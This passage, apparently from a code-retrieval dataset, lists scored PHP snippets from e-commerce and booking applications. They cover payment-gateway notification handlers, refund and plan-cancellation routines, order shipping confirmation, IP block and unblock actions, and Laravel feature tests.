$post_id, 'miglad_timezone', $default );\n\n add_post_meta( $post_id, 'miglad_transactionType', 'One time (Paypal)' );\n\n $_email = $postData['miglad_email']; \n $_fname = $postData['miglad_firstname']; \n $_lname = $postData['miglad_lastname'];\n $mailchimp_data['miglad_email'] = $postData['miglad_email']; \n $mailchimp_data['miglad_firstname'] = $postData['miglad_firstname'];\n $mailchimp_data['miglad_lastname'] = $postData['miglad_lastname'];\n\n if( $postData['miglad_mg_add_to_milist'] == 'yes' ){\n $_add_milis = true;\t\n }else{\n $_add_milis = false;\t\n }\n\t\t\t\t\t\t\t\n\t\t\t\t\t\t\t/*** EMAILS ***/\n\t\t\t\t\t\t\t/*\t\t\n\t\t\t\t\t\t\tmg_send_thank_you_email( $postData, $e, $en );\n\t\t\t\t\t\t\t mg_send_notification_emails( $postData, $e, $en , $ne );\n\t\t\t\t\t\t \n\t\t\t\t\t\t\t $tdata = $transientKey. \"hletter\";\n\t\t\t\t\t\t\t $content = get_option( $tdata );\n\n\t\t\t\t\t\t\t migla_hletter( $e, $en , $postData['miglad_honoreeemail'], $content, $postData['miglad_repeating']\n\t\t\t\t\t\t\t\t\t, $postData['miglad_anonymous'], $postData['miglad_firstname'], $postData['miglad_lastname'], \n\t\t\t\t\t\t\t\t\t $postData['miglad_amount'], $postData['miglad_honoreename'] , $d );\t\t\n\t\t\t\t\t\t\t*/\n\t\t\t\t\t\t\t\n\t\t\t\t\t\t\tif( get_option('migla_disable_thank_email') != 'yes' )\t\t\n\t\t\t\t\t\t\t\tmg_send_thank_you_email( $postData, $e, $en );\n\t\t\t\t\t\t\t\n\t\t\t\t\t\t\tmg_send_notification_emails( $postData, $e, $en , $ne);\n\n\t\t\t\t\t\t\tif( isset($postData['miglad_honoreeemail']) && get_option('migla_disable_honoree_email') != 'yes' )\n\t\t\t\t\t\t\t{\t \t\t\t\n\t\t\t\t\t\t\t\tmg_send_hletter( $postData, $e, $en, $postData['miglad_honoreeletter'], $postData['miglad_date'] );\n\t\t\t\t\t\t\t}\t\t\t\t\t\t\t\t\n\n }else{\n //Do Nothing, it is already saved on database \n add_option('migla_Error'.time(), 'Seems it thinks duplicate with ID '.$isIDExist );\t\t\t\t\t\t \n }\t\t\t\n \t\t\n\t\t } //HAS TRANSIENT\n\t\t \n\t\t } //IS PDT \n\t\t \n /*** MAIL LIST ****/\n $maillist_choice = get_option('migla_mail_list_choice');\n if( $maillist_choice == 'constant_contact' )\n {\n //add to Constant Contact\n //mg_add_to_milist( $_email, $_fname, $_lname, $_add_milis );\n $cc = new migla_constant_contact_class();\n $cc->add_to_milist( $_email, $_fname, $_lname, $_add_milis );\n\n }else if( $maillist_choice == 'mail_chimp' )\n {\n //add to mailchimp\n $cc = new migla_mailchimp_class();\n $cc->subscribe_contact( $mailchimp_data , $_add_milis);\n }\n\n\t\t }//Transaction type switch\n\t\t \n\t }else{ //IF Status is not completed\n\t\t\t\t \n\t } // If $payment_status\n\t}", "title": "" }, { "docid": "236f7547a9b58dbca0fef642c533c274", "score": "0.5079307", "text": "protected function _setMerchantIp()\n {\n if (!$this->hasAttribute('merchantIp')) {\n $this->attributes['merchantIp'] = $this->_getServerIP();\n }\n }", "title": "" }, { "docid": "e088f0d9a1c9c8ae44270340707fd7a5", "score": "0.5066374", "text": "public function notifyAction()\n {\n $_POST = file_get_contents('php://input');\n\n $_POST = empty($_POST) ? $_GET : $_POST;\n $k = Mage::helper('billmatebankpay')->getBillmate();\n $session = Mage::getSingleton('checkout/session');\n $data = $k->verify_hash($_POST);\n\n $session->setData('last_real_order_id', $data['orderid']);\n $order = Mage::getModel('sales/order')->loadByIncrementId($data['orderid']);\n\n if($data['status'] == 'Cancelled' && !$order->isCanceled()){\n\n if (!$order->isCanceled() && !$order->hasInvoices()) {\n\n $message = Mage::helper('billmatebankpay')->__('Order canceled by callback');\n $order->cancel();\n $order->addStatusToHistory(Mage_Sales_Model_Order::STATE_CANCELED, $message);\n $order->save();\n }\n\n if ($data['orderid']) {\n $quote = Mage::getModel('sales/quote')->load($order->getQuoteId());\n if ($quote->getId()) {\n $quote->setIsActive(true)->save();\n $session->setQuoteId($quote->getId());\n }\n\n $quoteItems = $quote->getAllItems();\n if ( sizeof( $quoteItems ) <=0 ) {\n $items = $order->getAllItems();\n if( $items ){\n foreach( $items as $item ){\n $product1 = Mage::getModel('catalog/product')->load($item->getProductId());\n $qty = $item->getQtyOrdered();\n $quote->addProduct($product1, $qty);\n }\n } else {\n $quote->setIsActive(false)->save();\n }\n $quote->setReservedOrderId(null);\n $quote->collectTotals()->save();\n }\n $session->unsRebuildCart();\n\n }\n return $this->getResponse()->setBody('OK');\n\n }\n if ($order->isCanceled()) {\n return $this->getResponse()->setBody('OK');\n }\n try{\n\t $payment = $order->getPayment();\n $status = Mage::getStoreConfig('payment/billmatebankpay/order_status');\n if ($data['status'] == 'Pending' && $order->getStatus() != $status) {\n $status = 'pending_payment';\n }\n\n if( $order->getStatus() == $status ) {\n $session->setOrderId($data['orderid']);\n $session->setQuoteId($session->getBillmateQuoteId(true));\n Mage::getSingleton('checkout/session')->getQuote()->setIsActive(false)->save();\n $session->unsRebuildCart();\n\n $this->getResponse()->setBody('OK');\n return;\n }\n\n $info = $payment->getMethodInstance()->getInfoInstance();\n $info->setAdditionalInformation('invoiceid',$data['number']);\n\n $data1 = $data;\n $order->addStatusHistoryComment(Mage::helper('payment')->__('Order processing completed'.'<br/>Billmate status: '.$data1['status'].'<br/>'.'Transaction ID: '.$data1['number']));\n\n $payment->setTransactionId($data['number']);\n\t $payment->setIsTransactionClosed(0);\n\t $transaction = $payment->addTransaction(Mage_Sales_Model_Order_Payment_Transaction::TYPE_AUTH,null,false, false);\n\t $transaction->setOrderId($order->getId())->setIsClosed(0)->setTxnId($data['number'])->setPaymentId($payment->getId())\n\t ->save();\n\t $payment->save();\n $isCustomerNotified = false;\n $order->setState('new', $status, '', $isCustomerNotified);\n $order->save();\n $session->unsRebuildCart();\n\n $this->sendNewOrderMail($order);\n $this->clearAllCache();\n\n } catch(Exception $ex){\n Mage::log($ex->getMessage());\n }\n }", "title": "" }, { "docid": "430f72218bd4412602caa73d9c010674", "score": "0.5049811", "text": "public function testRefundOutsideTimeframeIsRejected()\n {\n $room = Room::create([\n 'id' => 1,\n 'name' => 'Test room',\n ]);\n\n $product = Product::create([\n 'name' => 'Test product',\n 'color' => 'fff',\n 'quantity' => '1,2,5',\n 'price' => '1232.00',\n ]);\n\n $quantity = 2;\n\n // Buy two test product\n $beer = Beer::create([\n 'room' => $room->id,\n 'quantity' => $quantity,\n 'product' => $product->id,\n 'ipAddress' => request()->ip(),\n 'amount' => -($product->price * $quantity),\n ]);\n\n // Set time to be 35 minutes behind in time for all purchases\n \\DB::update(\n 'UPDATE beers SET created_at = ?',\n [\\Carbon\\Carbon::now()->subMinutes(35)->toDateTimeString()]\n );\n\n // Get fresh beer from the database\n $beer = Beer::find($beer->id);\n\n // Refunded must be false = 0\n $this->assertEquals($beer->refunded, 0);\n\n $response = $this->get('/api/refund/'.$beer->id);\n\n // Expect a code 403 Access denied\n $response->assertStatus(403);\n\n // Assert proper JSON response\n $response->assertJson([\n 'error' => 'Refund is not possible',\n ]);\n\n // Get fresh beer from the database\n $beer = Beer::find($beer->id);\n\n // Refunded must be still be false = 0\n $this->assertEquals($beer->refunded, 0);\n }", "title": "" }, { "docid": "af682780deed7cead16bf8447bc9844b", "score": "0.50459677", "text": "public function notifyAction()\n {\n $pluginConfig = Shopware()->Plugins()->Frontend()->SecuSecupayPayment()->Config();\n $log = $pluginConfig->sSECUPAY_ALL_SWITCH_DEBUGMODE;\n secupay_log::log($log, 'notifyAction');\n\n $low_ip = '91.195.150.1';\n $high_ip = '91.195.151.255';\n // debug log\n $post_data = http_build_query($this->Request()->getPost());\n secupay_log::log($log, 'Notify action with parameters: '. print_r(http_build_query($post_data), true));\n secupay_log::log($log, 'Client IP : '. print_r($this->Request()->getClientIp(false), true));\n\n // accept notifyAction requests only from secupay\n\n $client_ip = ip2long($this->Request()->getClientIp(false));\n if ($client_ip > ip2long($high_ip) || ip2long($low_ip) > $client_ip) {\n die('ack=Disapproved&error=request+invalid&' . $post_data);\n }\n\n $uniqueId = $this->Request()->getParam('id');\n if (empty($uniqueId)) {\n die('ack=Disapproved&error=no+matching+order+found+for+id&' . $post_data);\n }\n\n $hash_sent = $this->Request()->getParam('hash');\n $apikey_sent = $this->Request()->getParam('apikey');\n $payment_status = $this->Request()->getParam('payment_status');\n $status_desc = $this->Request()->getParam('status_description');\n $sql=\"SELECT\n s_core_config_values.`value`\n FROM\n s_core_config_elements\n INNER JOIN s_core_config_values ON s_core_config_values.element_id = s_core_config_elements.id AND s_core_config_elements.`name` = 'sSECUPAY_APIKEY' AND s_core_config_values.`value` = ?\n \";\n unset($data);\n \n $data = Shopware()->Db()->fetchOne($sql, array( serialize($apikey_sent) ));\n if (!empty($data)) {\n $apikey=(unserialize($data));\n } else {\n $apikey = $pluginConfig->sSECUPAY_APIKEY;\n }\n if (empty($apikey_sent) || $apikey_sent !== $apikey) {\n die('ack=Disapproved&error=apikey+invalid&' . $post_data);\n }\n\n $row = Shopware()->Db()->fetchAll(\"SELECT status, ordernr, payment_method FROM secupay_transactions WHERE unique_id = ? AND hash = ? ORDER BY created DESC LIMIT 1\", array($uniqueId, $hash_sent));\n if (empty($row) || !isset($row[0]['ordernr'])) {\n //matching transaction, but without order\n //save push to DB for transaction list\n if (!empty($row) && !empty($payment_status) && !empty($status_desc)) {\n $sql = \"UPDATE secupay_transactions SET payment_status = ?, msg = ?, updated = NOW() WHERE unique_id = ? AND hash = ?\";\n Shopware()->Db()->query($sql, array($payment_status, $status_desc, $uniqueId, $hash_sent));\n }\n\n die('ack=Disapproved&error=no+matching+order+found+for+hash&' . $post_data);\n }\n //$row_status = $row[0]['status'];\n //check if order still exists\n $sql = 'SELECT ordernumber,invoice_amount FROM s_order WHERE ordernumber=?';\n $orderres = Shopware()->Db()->fetchAll($sql, array(\n $row[0]['ordernr']\n ));\n $orderNumber = $orderres[0]['ordernumber'];\n $original_order_total = number_format($orderres[0]['invoice_amount'], 2, '.', '')*100;\n if (!isset($orderNumber) || empty($orderNumber)) {\n secupay_log::log($log, \"Notify action - order {$orderNumber} not found\");\n die('ack=Disapproved&error=no+matching+order+found+for+transaction&' . $post_data);\n }\n $response = $this->getTransactionStatusResponse($hash_sent);\n $secupay_orders_total = $response->amount;\n if ($original_order_total != $secupay_orders_total) {\n $payment_status = 'issue';\n }\n // if the status is other, than save it\n $new_status = $this->getShopwareStatus($payment_status, $row[0]['payment_method']);\n if (!$new_status) {\n die('ack=Disapproved&error=payment_status+not+supported&' . $post_data);\n }\n if (($row[0]['payment_method']=='creditcard' && $payment_status=='accepted') || ($row[0]['payment_method']=='prepay' && $payment_status=='accepted')) {\n $cleared = date(\"Y-m-d H:i:s\");\n $sql = 'UPDATE `s_order` SET `cleareddate` = ? WHERE `transactionID` = ?';\n Shopware()->Db()->query($sql, array($cleared, $hash_sent));\n }\n secupay_log::log($log, \"Notify action successful for \".$hash_sent.\" with status: \".$payment_status.\" and shopware status: \".$new_status.\"\");\n // everything ok\n // update status in DB\n $sql = \"UPDATE secupay_transactions SET status = ? WHERE unique_id = ? AND hash = ?\";\n Shopware()->Db()->query($sql, array($new_status, $uniqueId, $hash_sent));\n try {\n $this->saveOrder($hash_sent, $uniqueId);\n } catch (Exception $e) {\n secupay_log::log($log, \"Notify action - Exception on saveOrder for \" . $hash_sent);\n secupay_log::log($log, \"Notify action - Exception: \" . $e->getMessage());\n }\n $this->savePaymentStatus($hash_sent, $uniqueId, $new_status);\n\n if (!empty($payment_status) && !empty($status_desc)) {\n $sql = \"UPDATE secupay_transactions SET payment_status = ?, msg = ?, updated = NOW() WHERE unique_id = ? AND hash = ?\";\n Shopware()->Db()->query($sql, array($payment_status, $status_desc, $uniqueId, $hash_sent));\n }\n\n die('ack=Approved&' . $post_data);\n }", "title": "" }, { "docid": "cedb4de6f0645dbc6d18a04c6094eef0", "score": "0.5041273", "text": "public function refund($order)\n {\n \tif (isset($order['miniapp'])) {\n $this->payload['appid'] = $this->config['miniapp_id'];\n unset($order['miniapp']);\n }\n $this->payload = array_merge($this->payload, $order);\n unset($this->payload['notify_url'], $this->payload['trade_type']);\n $this->payload['sign'] = Support::generateSign($this->payload, $this->config['key']);\n return Support::requestApi(\n 'secapi/pay/refund',\n $this->payload,\n $this->config['key'],\n $this->config['cert_client'],\n $this->config['cert_key'],\n $this->config['rootca']\n );\n }", "title": "" }, { "docid": "3276697d4243a3648eab3029d2649b76", "score": "0.5019398", "text": "public function expireOldReservations($method, $user_id)\n {\n $preparedStatement = $this->dbh->prepare('select * from RESERVED_VW where STATE_B_ID=200');\n $preparedStatement->execute();\n $transactions = $preparedStatement->fetchAll(PDO::FETCH_ASSOC);\n \n global $do_not_reply_email, $lender_number, $borrower_number;\n \n foreach ($transactions as $transaction)\n {\n $data = json_decode($transaction['DATA']); \n $start_date = new DateTime($data->{\"START_DATE\"});\n $now = new DateTime();\n \n if ($now > $start_date)\n {\n $this->insertDetail($method, $transaction[\"TRANSACTION_ID\"], $this->getEdgeID(300,850,$method, $user_id), null, $user_id);\n \n // Send text to lender\n $message = \"Hey {$transaction[\"LENDER_FIRST_NAME\"]}! It's Qhojo here. Just a reminder that you were scheduled to meet with {$transaction[\"BORROWER_FIRST_NAME\"]} on \" . date(\"m/d\", strtotime($start_date)) . \" to lend out your item.\";\n $message2 = \"We have not received {$transaction[\"BORROWER_FIRST_NAME\"]}'s confirmation text and subsequently cancelled the transaction.\";\n\n $this->sendText($transaction[\"LENDER_PHONE_NUMBER\"], $lender_number, $message, $method, $user_id);\n $this->sendText($transaction[\"LENDER_PHONE_NUMBER\"], $lender_number, $message2, $method, $user_id);\n \n // Send text to borrower\n $message = \"Hey {$transaction[\"BORROWER_FIRST_NAME\"]}! It's Qhojo here. Just a reminder that you were scheduled to meet with {$transaction[\"LENDER_FIRST_NAME\"]} on \" . date(\"m/d\", strtotime($start_date)) . \" to pick up the item.\";\n $message2 = \"We have not received your confirmation text and subsequently cancelled the transaction.\";\n \n $this->sendText($transaction[\"BORROWER_PHONE_NUMBER\"], $borrower_number, $message, $method, $user_id);\n $this->sendText($transaction[\"BORROWER_PHONE_NUMBER\"], $borrower_number, $message2, $method, $user_id); \n \n // Send email to both\n $message = \"Hi {$transaction[\"LENDER_FIRST_NAME\"]} and {$transaction[\"BORROWER_FIRST_NAME\"]},<br/><br/>\";\n $message .= \"This transaction has been cancelled because the item was not exchanged on the start date of \" . date(\"m/d\", strtotime($start_date)) . \"<br/><br/>\";\n $message .= \"{$transaction[\"BORROWER_FIRST_NAME\"]}, please request the item again if you wish to borrow it.\";\n\n $subject = \"{$transaction[\"TITLE\"]} - EXPIRED - Transaction has been expired - Transaction ID: {$transaction[\"TRANSACTION_ID\"]}\";\n\n sendEmail($do_not_reply_email, $transaction[\"LENDER_EMAIL_ADDRESS\"] . ',' . $transaction[\"BORROWER_EMAIL_ADDRESS\"], null, $subject, $message); \n }\n } \n }", "title": "" }, { "docid": "c02361e2c516bc8de16268e25e2d0fef", "score": "0.5019138", "text": "function ip_block(){\n try {\n\n # killing all session-data...\n $this->users_model->logout();\n\n # redirecting to the home-page...\n header('Location: ' . base_url().'?blockStatus=1');\n exit;\n } catch (Exception $err_obj) {\n show_error($err_obj->getMessage());\n } \n \n }", "title": "" }, { "docid": "0607bdc0854defa43901d7a3e0dcd63d", "score": "0.5015764", "text": "private function sendTenderBlock()\n {\n $when = now()->addSeconds(20);\n // $this->telegramUser->notify((new TenderBlock())->delay($when));\n Notification::send($this->telegramUser, new TenderBlock());\n // $this->telegramUser->notify(new TenderBlock());\n }", "title": "" }, { "docid": "fec4055b33eabe6e0cccb57840fc2563", "score": "0.50051117", "text": "function refund ($amount, $currency) {\n // if (successful) log transaction in database\n }", "title": "" }, { "docid": "a93c27afdaa4700a75843beb6b3f8a6a", "score": "0.49992156", "text": "public function checkOnsitePayment(){\n\t\t// programmers must override this method to provide gateway specific logic\n\t}", "title": "" }, { "docid": "7edc49e66eb4123951153f565e5de8e7", "score": "0.49978024", "text": "public function payPendingTender(){\n\t\t$tenderId = $this->getRequest()->param('ID');\n\t\t$tender = Tender::get()->byID($tenderId);\n\t\t$oldCredit = $this->creditAvailed() ? $this->creditAvailed(): 0;\n\t\t$tenderCost = $tender->getTenderAdvertiseCost();\n\t\t$credit = $oldCredit + $tenderCost;\n\t\tif($credit < 20){\n\t\t\t//Pay by credit if the current balance is less than 10\n\t\t\t$tender->Status = 'Paid';\n\t\t\t$tender->Stage = 'Assess';\n\t\t\t$tender->write();\n\t\t\t// Create a payment record\n\t\t\t$payment = new Payment();\n\t\t\t$payment->TransactionRef= 'Credit';\n\t\t\t$payment->Method = 'Credit';\n\t\t\t$payment->Credit = $tenderCost;\n\t\t\t$payment->MemberID = Member::currentUserID();\n\t\t\t$payment->TenderID = $tender->ID;\n\t\t\t$payment->SubmissionID = 0;\n\t\t\t$payment->write();\n\t\t\t$this->setMessage('success', \"The tender is created successfully.Current account balance is $$credit. Payment options are: Paypal, POLI. Payment not required until balance equals or exceeds $20.\");\n\t\t\treturn $this->redirectBack();\n\t\t}\n\t\treturn $this->redirect('/get-prices/showPayments/'.$tender->ID.'?payer=client');\n\t}", "title": "" }, { "docid": "33506ad5a48f33ce94b10419ef6f5c2f", "score": "0.49953568", "text": "public function cancelAction() {\n if (Mage::getSingleton('checkout/session')->getLastRealOrderId()) {\n $order = Mage::getModel('sales/order')->loadByIncrementId(\n Mage::getSingleton('checkout/session')->getLastRealOrderId());\n if($order->getId()) {\n // Flag the order as 'cancelled' and save it\n $order->cancel()->setState(Mage_Sales_Model_Order::STATE_CANCELED,\n true, 'Gateway has declined the payment.')->save();\n }\n }\n }", "title": "" }, { "docid": "067ee41b4dc4a9a847731b2f30f47a37", "score": "0.49874058", "text": "public function test_driver_gets_blocked_on_order_date_time_test()\n {\n $user = $this->_createCustomer();\n $header = $this->_createHeader(['api_token' => $user->api_token]);\n\n $address = factory(Address::class)->create();\n\n $orderDate = Carbon::now()->addDays(1)->toDateString();\n $time = '10:00:00';\n $orderTime = $this->_createTiming($time);\n $transitTime = 30;\n\n $category = factory(Category::class)->create();\n $package1 = factory(Package::class)->create(['category_id' => $category->id, 'duration' => 20]);\n $package2 = factory(Package::class)->create(['category_id' => $category->id, 'duration' => 30]);\n $service1 = factory(Service::class)->create(['package_id' => $package1->id, 'duration' => 30]);\n $service2 = factory(Service::class)->create(['package_id' => $package1->id, 'duration' => 30]);\n $service3 = factory(Service::class)->create(['package_id' => $package2->id, 'duration' => 20]);\n\n $total = $package1->duration + $package2->duration + $service1->duration + $service2->duration + $service3->duration + $transitTime;\n $toTime = Carbon::parse($time)->addMinutes($total)->subMinute(1)->toTimeString();\n\n $orderData = collect([\n 'date' => $orderDate,\n 'time' => $orderTime->id,\n 'address_id' => $address->id,\n 'items' => [\n [\n 'category' => $category->id,\n 'package' => $package1->id,\n 'services' => [$service1->id, $service2->id],\n ],\n [\n 'category' => $category->id,\n 'package' => $package2->id,\n 'services' => [$service3->id],\n ]\n ],\n 'payment_mode' => 'cash',\n 'user_id' => 1\n ]);\n\n $orderTableData = $orderData->only(['user_id', 'date', 'time'])->toArray();\n $driver1 = $this->_createDriver();\n $driver1->blocked_dates()->create([\n 'date' => $orderDate,\n 'from' => '09:01:00',\n 'to' => '10:59:00'\n ]);\n\n $driver2 = $this->_createDriver();\n\n $response = $this->json('POST', '/api/customer/checkout', $orderData->toArray(), $header);\n\n $createdOrder = Order::where(['user_id' => $user->id, 'date' => $orderDate])->first();\n\n $this->assertDatabaseHas('orders', array_merge($orderTableData, ['time'=>$time,'status' => 'success']));\n $this->assertDatabaseHas('blocked_dates',\n [\n 'date' => $orderDate,\n 'from' => '09:01:00',\n 'to' => '10:59:00',\n 'driver_id' => $driver1->id\n ]);\n\n $this->assertDatabaseHas('blocked_dates',\n [\n 'date' => $orderDate,\n 'from' => Carbon::parse($time)->addMinute(1)->toTimeString(),\n 'to' => $toTime,\n 'driver_id' => $driver2->id\n ]);\n\n $this->assertDatabaseHas('jobs', ['order_id' => $createdOrder->id, 'driver_id' => $driver2->id]);\n\n }", "title": "" }, { "docid": "8b46ce6aef04d9e82ffac2edbc580090", "score": "0.49838337", "text": "public function wh_pending_pickup() {\n\t\t//$hmac_header = $_SERVER['HTTP_X_NINJAVAN_HMAC_SHA256'];\n\t\t$hmac_header = null;\n\t\t$data = file_get_contents('php://input');\n\t\t$nv = new NinjaVan;\n\t\t$nv->webhook(\"pending_pickup\", $data, $hmac_header);\n\t\t$nv = null;\n\t}", "title": "" }, { "docid": "829017b91bba97664592f6e548b1853a", "score": "0.4982409", "text": "public function paypal_cancel_plan($plan_detail = null)\n {\n\n \n $user = Auth::user();\n //dd($user);die;\n \n try {\n\n // $PayFlow = new PayFlow('digitalkheops511','PayPal', 'digitalkheops511', 'digitalkheops511', 'digitalkheops511', 'recurring');\n // dd($PayFlow);\n\n $PayFlow = new PayFlow($this->paypal_vendor,$this->paypal_partner, $this->paypal_user_name, $this->paypal_password, 'recurring');\n\n $PayFlow->setEnvironment('test'); // test or live\n $PayFlow->setTransactionType('R'); // 'USD', 'EUR', 'GBP', 'CAD', 'JPY', 'AUD'.\n\n // Only used for recurring transactions\n $PayFlow->setProfileAction('C');\n\n $PayFlow->setAmount($plan_detail->price,FALSE);\n $PayFlow->setPaymentComment($plan_detail->plan_name_en);\n $PayFlow->setProfileId($user->paypal_profile_id);\n\n if($PayFlow->processTransaction()){\n $user_id = Auth::user()->id;\n $response = $PayFlow->getResponse();\n $current_plan = UserPlan::where('user_id','=',$user_id)\n ->where('user_id','=',$user_id)\n ->where('status','=','1')\n ->first()\n ->update(['status'=>'0']);\n $list_id = 'awlist4929048';\n $post = array(\n 'email' =>$user->email\n );\n //\n $common_controller = new CommonController();\n //$status = $common_controller->delete_from_aweber_list($post,$list_id);\n \n return true;\n // return ['status' => 'success','transaction_id'=> $response['RPREF'], 'msg' => 'plan has been subscribed to you successfully.'];\n }else{\n //dd($response = $PayFlow->getResponse());\n return false;\n }\n\n }catch (Exception $e) {\n return false;\n }\n\n\n }", "title": "" }, { "docid": "85ca56510aab40885a667df32412f016", "score": "0.4976171", "text": "public function unBlockIp(Request $request, $ip)\n {\n if (Auth::user()->id == 1) {\n $check = Ipban::unBlockIp($ip);\n if ($check) {\n Session::flash('Success', 'IP unblocked successfully!');\n }else{\n Session::flash('Error', 'IP didn\\'t get unblocked please try again later!');\n }\n }\n return redirect()->back();\n }", "title": "" }, { "docid": "9d3a9f93c5a6f3d4430f905304b60fc8", "score": "0.49659646", "text": "public function cancel_refund_plan(Request $request)\n {\n\n $user = Auth::user();\n $current_language = \\Lang::getLocale();\n $current_plan = UserPlan::where('user_id','=',$user->id)\n ->where('status','=','1')\n ->with('payment')\n ->with('plan')\n ->first();\n $current_plan_payment = $current_plan->payment;\n $current_plan_detail = $current_plan->plan;\n \n\n if(empty($current_plan_payment)){\n $msg = 'Payment not processed yet. Please try again later.';\n $request->session()->flash('error_message', $msg);\n return redirect()->route('profile');\n }\n\n\n if($current_plan_payment->transaction_type == '1'){\n \n $status = $this->paypal_cancel_refund_plan($current_plan_detail,$current_plan_payment);\n //dd($status);\n if($status){\n $msg = $current_language == 'en' ? 'Plan cancelled and refunded successfully.' : 'Plan annulé et remboursé avec succès.';\n $request->session()->flash('add_message', $msg);\n return redirect()->route('profile');\n }else{\n $msg = $current_language == 'en' ? 'Payment not processed yet. Please try again later' : 'Le paiement na pas encore été traité. Veuillez réessayer plus tard';\n\n $request->session()->flash('error_message', $msg);\n return redirect()->route('profile');\n }\n\n }\n\n if($current_plan_payment->transaction_type == '2'){\n $status = $this->stripe_cancel_refund_plan($current_plan_detail);\n\n if($status){\n $msg = $current_language == 'en' ? 'Plan cancelled and refunded successfully.' : 'Plan annulé et remboursé avec succès.';\n $request->session()->flash('add_message', $msg);\n return redirect()->route('profile')->send();\n }else{\n $msg = $current_language == 'en' ? 'Payment not processed yet. Please try again later' : 'Le paiement na pas encore été traité. Veuillez réessayer plus tard';\n $request->session()->flash('error_message', $msg);\n return redirect()->route('profile');\n }\n\n\n }\n\n \n}", "title": "" }, { "docid": "1f893598829eb766ce372c99d46cd551", "score": "0.49500257", "text": "public function confirmOrder($order) {\n\t\t/** @var $order Mage_Sales_Model_Order */\n\t\tif ($order->getShippingMethod() == 'logitrail_logitrail') {\n\t\t\tMage::getSingleton('core/session')->setLogitrailShippingCost(0);\n\t\t\t$api = $this->getApi();\n\t\t\t$api->setResponseAsRaw(TRUE);\n\t\t\t$logitrailId = $order->getLogitrailOrderId();\n\n\t\t\t$address = $order->getShippingAddress();\n\t\t\t$email = $address->getEmail() ?: $order->getCustomerEmail();\n\n\t\t\t$api->setCustomerInfo(\n\t\t\t\t$address->getFirstname(),\n\t\t\t\t$address->getLastname(),\n\t\t\t\t$address->getTelephone(),\n\t\t\t\t$email,\n\t\t\t\tjoin(' ', $address->getStreet()),\n\t\t\t\t$address->getPostcode(),\n\t\t\t\t$address->getCity(),\n\t\t\t\t$address->getCompany(),\n\t\t\t\t$address->getCountry()\n\t\t\t);\n\t\t\t$api->setOrderId($order->getIncrementId());\n\t\t\t$api->updateOrder($logitrailId);\n\n\t\t\t$rawResponse = $api->confirmOrder($logitrailId);\n\t\t\t$response = json_decode($rawResponse, TRUE);\n\t\t\tif ($response) {\n\n\t\t\t\tif ($this->_getConfig('autoship') && $order->canShip()) {\n\t\t\t\t\t$qty = array();\n\t\t\t\t\tforeach ($order->getAllItems() as $item) {\n\t\t\t\t\t\t$Itemqty = $item->getQtyOrdered();\n\t\t\t\t\t\t$qty[$item->getId()] = $item->getQtyOrdered();\n\t\t\t\t\t}\n\n\t\t\t\t\t$shipment = $order->prepareShipment($qty);\n\t\t\t\t\t$shipment->register();\n\t\t\t\t\t$shipment->addComment(Mage::helper('logitrail')\n\t\t\t\t\t\t->__(\"Tracking URL: \" . str_replace('\\\\', '', $response['tracking_url'])));\n\t\t\t\t\t$track = Mage::getModel('sales/order_shipment_track')\n\t\t\t\t\t\t->addData(array(\n\t\t\t\t\t\t\t'carrier_code' => 'custom',\n\t\t\t\t\t\t\t'title' => 'Logitrail',\n\t\t\t\t\t\t\t'number' => $response['tracking_code']\n\t\t\t\t\t\t));\n\t\t\t\t\t$shipment->addTrack($track);\n\t\t\t\t\t$shipment->getOrder()->setIsInProcess(TRUE);\n\t\t\t\t\t$transactionSave = Mage::getModel('core/resource_transaction')\n\t\t\t\t\t\t->addObject($shipment)\n\t\t\t\t\t\t->addObject($order)\n\t\t\t\t\t\t->save();\n\n\t\t\t\t\t$shipment->sendEmail(TRUE, Mage::helper('logitrail')\n\t\t\t\t\t\t->__(\"Tracking URL: \" . str_replace('\\\\', '', $response['tracking_url'])));\n\t\t\t\t\t$shipment->setEmailSent(TRUE);\n\t\t\t\t\t$order->save();\n\t\t\t\t} // if autoship\n\n\t\t\t\t$order->addStatusHistoryComment(sprintf(Mage::helper('logitrail')\n\t\t\t\t\t->__(\"Logitrail Order Id: %s, Tracking number: %s, Tracking URL: %s\"), $logitrailId, $response['tracking_code'], str_replace('\\\\', '', $response['tracking_url'])));\n\n\t\t\t\tif (Mage::getModel('logitrail/carrier_logitrail')\n\t\t\t\t\t->isTestMode()\n\t\t\t\t) {\n\t\t\t\t\tMage::log(\"Confirmed order $logitrailId, response $rawResponse\", NULL, 'logitrail.log');\n\t\t\t\t}\n\t\t\t}\n\t\t\telse { // confirmation failed\n\t\t\t\t$order->addStatusHistoryComment(Mage::helper('logitrail')\n\t\t\t\t\t->__('Error: could not confirm order to Logitrail. Logitrail Order Id: ' . $logitrailId));\n\t\t\t\tMage::log(\"Error: could not confirm order to Logitrail. Logitrail Order Id: $logitrailId Response: $rawResponse\", Zend_Log::ERR);\n\t\t\t\tif (Mage::getModel('logitrail/carrier_logitrail')\n\t\t\t\t\t->isTestMode()\n\t\t\t\t) {\n\t\t\t\t\tMage::log(\"Error: could not confirm order to Logitrail. Logitrail Order Id: $logitrailId Response: $rawResponse\", NULL, 'logitrail.log');\n\t\t\t\t}\n\t\t\t}\n\t\t}\n\t}", "title": "" }, { "docid": "e57e2a69373a5bc1550186d2a1069629", "score": "0.4944416", "text": "public function refundAmazonOrder()\n {\n $oConfig = $this->_getContainer()->getConfig();\n $sId = $this->getEditObjectId();\n\n if ((int)$sId !== -1\n && $sId !== null\n && (int)$oConfig->getRequestParameter('blAmazonConfirmRefund') === 1\n ) {\n /** @var oxOrder $oOrder */\n $oOrder = $this->_getContainer()->getObjectFactory()->createOxidObject('oxOrder');\n $oOrder->load($sId);\n $fAmazonRefundAmount = (float)str_replace(\n ',',\n '.',\n $oConfig->getRequestParameter('fAmazonRefundAmount')\n );\n\n if ($fAmazonRefundAmount > 0) {\n $this->_getContainer()->getClient()->refund($fAmazonRefundAmount, $oOrder);\n } else {\n $this->_aViewData['bestitrefunderror'] = $this->_getContainer()->getLanguage()\n ->translateString('BESTITAMAZONPAY_INVALID_REFUND_AMOUNT');\n }\n } else {\n $this->_aViewData['bestitrefunderror'] = $this->_getContainer()->getLanguage()\n ->translateString('BESTITAMAZONPAY_PLEASE_CHECK_REFUND_CHECKBOX');\n }\n }", "title": "" }, { "docid": "40a409bb8f84bfdf5511cca8a347a482", "score": "0.49388495", "text": "function repay_bank() {\n\t\t\n\t\t$amount = get_param('repayment');\n\t\tif (!$this->pay('bank', $amount)) {\n\t\t\t$this->cant_pay($amount);\n\t\t\treturn;\n\t\t\t}\t\t\n\t\t$bank_obj =& $this->id_to_obj('bank'); 